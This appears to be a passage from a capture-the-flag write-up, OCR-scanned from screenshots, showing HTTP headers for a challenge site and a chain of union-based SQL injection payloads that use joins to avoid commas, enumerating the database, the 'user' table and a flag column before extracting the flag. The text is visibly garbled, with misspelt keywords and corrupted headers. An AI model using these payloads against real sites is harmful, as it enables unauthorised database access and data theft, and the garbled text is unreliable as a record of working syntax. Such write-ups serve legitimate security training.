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GET findex.php HTTR/1.1 .A HTTP/1.1 200 Gk :
Host: 36d8964201344677 a6f92a2139610d06:97564f2e9f14631. changame.ichungiu. com Date: Tue, 21 May 2019 12:41:05 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ne66.0) Gecko/20100101 Firefox/86.0 Content-Type: text/htrml

. |Accept: text/html application/xhtml+xml application/xml;q=0.8 */*,q=0.8 Content-Length: O

L Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 zh-HK;q=0.5 en-US; q=0.3 en;q=0.2 Connection: close p
Accept-Encoding: gzip, deflate refresh: O;url=./b68aB9d1 c4a097 a9d8631b3acd5e8979. php
Caonnection: close ¥-Via-JSL 0abbB53 -
Cookie: pgv_pvi=1074417664; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDlO0000; ¥-Cache: bypass

ci_session=091848050c997 a2c770ce3faed7 2dadarBadchda;
_jsluid=dB6f2d2122f9d1f233d847 44 a3e8634
Upgrade-Insecure-Requests: 1

Cache-Control: max—age:l]l
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Connection: keep-alive

Content-Length: 57

Content-Type: text/html

Date: Tue, 21 May 2019 13:20:24 GMT
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id=1" union select * from (select 1) a join (select 2) b%23

id|username
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id=1" union select * from (select 1) a join (select database()) b%23

id username
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BR:

id=1" union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where
table_schema=database()) b%23

2 3|user®

FT7B:

id=1" union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where
table_name="‘user’) b%23

8 3flag_9c861b688330

Fflag:
id=1" union select * from (selelct 1) a join (select flag_9c861b688330 from user)b%23
Z3%lflag.
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